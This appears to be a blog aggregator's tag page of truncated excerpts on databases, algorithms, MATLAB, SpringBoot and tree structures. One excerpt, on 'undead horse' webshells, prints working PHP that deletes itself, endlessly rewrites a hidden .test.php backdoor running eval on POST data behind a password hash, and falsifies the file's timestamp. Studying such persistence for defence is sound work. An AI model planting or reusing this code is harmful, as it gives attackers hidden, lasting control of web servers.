?About the author: A Matlab simulation developer who loves scientific research. He cultivates his mind and improves his technology simultaneously. For cooperation on MATLAB projects, please send a private message. Personal homepage: Matlab Research Studio Personal credo: Investigate things to gain knowledge. Content introduction The alternating multiplier method (ADmm) is a commonly used algorithm to […]
Tag: rest
Amazon RDS: Snapshot, restore, and recovery demystified
Amazon Relational Database Service (Amazon RDS) is a managed relational database service offering. The managed service automation of Amazon Web Services (AWS) takes care of installation, storage provisioning, storage management, OS and database patching, and snapshot and restore of database instances . Offloading the undifferentiated heavy lifting of database infrastructure management to AWS helps you […]
MySqlC# database backup and restore
public static class SQLBackup { /// <summary> /// Execute Cmd command /// </summary> /// <param name=”workingDirectory”>Directory of the process to be started</param> /// <param name=”command”>Command to be executed</param> public static void StartCmd(String workingDirectory, String command) {<!– –> using (Process p = new Process()) { p.StartInfo.FileName = “cmd.exe”; p.StartInfo.WorkingDirectory = workingDirectory; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = […]
Database: Hive to Presto (3)
Continue with the previous section of code. import re import os import tkinter.filedialog from tkinter import * class Hive2Presto: def __int__(self): self.t_funcs = [‘substr’, ‘nvl’, ‘substring’, ‘unix_timestamp’] + \ [‘to_date’, ‘concat’, ‘sum’, ‘avg’, ‘abs’, ‘year’, ‘month’, ‘ceiling’, ‘floor’] self.time_funcs = [‘date_add’, ‘datediff’, ‘add_months’] self.funcs = self.t_funcs + self.time_funcs self.current_path = os.path.abspath(__file__) self.dir = os.path.dirname(self.current_path) self.result […]
Utilization and restraint of undead horses (based on conditional competition) and variant undead horses
The immortal horse is a memory horse. It will be written into the process and generate Trojan files in the specified directory indefinitely. Here is the PHP Immortal Horse as an example Test code: <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = ‘.test.php’; $code = ‘<?php if(md5($_GET[“pass”])==”098f6bcd4621d373cade4e832627b4f6″){@eval($_POST[test]);} ?>’; while (1){ file_put_contents($file,$code); system(‘touch -m -d “2018-12-01 09:10:12” .test.php’); […]
235. The nearest common ancestor of a binary search tree 701. Insertion operations in a binary search tree 450. Deleting nodes in a binary search tree
235. The most recent common ancestor of the binary search tree Likou question link(opens new window) Given a binary search tree, find the nearest common ancestor of two specified nodes in the tree. class Solution { private: TreeNode* traversal(TreeNode* cur, TreeNode* p, TreeNode* q) { if (cur == NULL) return cur; // middle if (cur->val […]
Algorithm: Nearest Common Ancestor (LCA)
In a rooted tree, each point has several ancestors (everything encountered in the process of walking to the root node is its ancestor). Generally speaking, it is also called its ancestor. For two points, the closest common ancestor to them is called the nearest common ancestor. Method 1: Upward marking method (violent approach) O(n) is […]
Doing microcontroller embedded development, array pictures in C language, files with suffixes such as .c and .h, use python to read, display, restore and save them into ordinary picture format files. Such conversion programs cannot be found on various networks.
When doing microcontroller embedded development, the image files used in the program are generally not ordinary image files such as jpg, png, gif, etc., but files in the form of .c, .h. In order to restore the array image in C language form in the source code, a python program was specially written to display, […]
Restaurant ordering system based on springboot
Restaurant ordering system based on SpringBoot Technology: SpringBoot, MyBatis, JDK8 Database: MySQL Software: IDEA/Ecilpse/MyEcilpse, Navicat/SqlSong Source code + database, complete Function introduction Users Dishes information Dishes classification Dishes information Personal Center Ordering function Administrator Personal information management Password change management User information management Dishes classification management Dishes information management Table information management Dishes order management […]
Data Structures – Trees, Forests and Huffman Trees
Tree storage structure Parent representation: define a structure array to store the nodes of the tree. Each node contains two fields (data + parent (storing the position of the parent node in the array)) Features: It is easy to find parents, but it is difficult to find children. typedef struct PTNode{ //Node structure TElemType data; […]